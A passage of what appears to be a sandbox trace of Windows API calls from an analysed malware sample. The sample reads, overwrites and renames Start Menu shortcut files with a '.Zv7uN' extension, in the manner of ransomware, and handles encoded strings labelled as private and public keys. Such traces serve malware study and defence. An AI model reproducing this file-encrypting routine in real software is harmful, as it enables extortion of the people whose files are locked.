Tools\\computer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\computer.lnk")) returned 0x20 [0129.428] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\computer.lnk", dwFileAttributes=0x80) returned 1 [0129.430] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0129.430] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0129.431] GetCurrentThreadId () returned 0xa30 [0129.431] GetCurrentThreadId () returned 0xa30 [0129.431] GetCurrentThreadId () returned 0xa30 [0129.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0129.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0129.434] GetCurrentThreadId () returned 0xa30 [0129.434] GetCurrentThreadId () returned 0xa30 [0129.434] GetCurrentThreadId () returned 0xa30 [0129.434] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\computer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\computer.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0129.434] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0129.435] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0129.435] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x106 [0129.435] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0129.435] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x106, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f108*=0x106, lpOverlapped=0x0) returned 1 [0129.437] CloseHandle (hObject=0x1dc) returned 1 [0129.437] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\computer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\computer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0129.440] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f29460*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f29460*, lpNumberOfBytesWritten=0x18f114*=0x106, lpOverlapped=0x0) returned 1 [0129.442] CloseHandle (hObject=0x1dc) returned 1 [0129.443] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\computer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\computer.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\computer.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\computer.lnk.zv7un")) returned 1 [0129.444] GetCurrentThreadId () returned 0xa30 [0129.444] GetCurrentThreadId () returned 0xa30 [0129.445] GetCurrentThreadId () returned 0xa30 [0129.445] GetCurrentThreadId () returned 0xa30 [0129.445] GetCurrentThreadId () returned 0xa30 [0129.445] GetCurrentThreadId () returned 0xa30 [0129.445] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e084aaf, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x106, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Control Panel.lnk", cAlternateFileName="CONTRO~1.LNK")) returned 1 [0129.445] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0129.445] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0129.445] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Control Panel.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\control panel.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e084aaf, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x106)) returned 1 [0129.446] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Control Panel.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\control panel.lnk")) returned 0x20 [0129.446] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Control Panel.lnk", dwFileAttributes=0x80) returned 1 [0129.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDs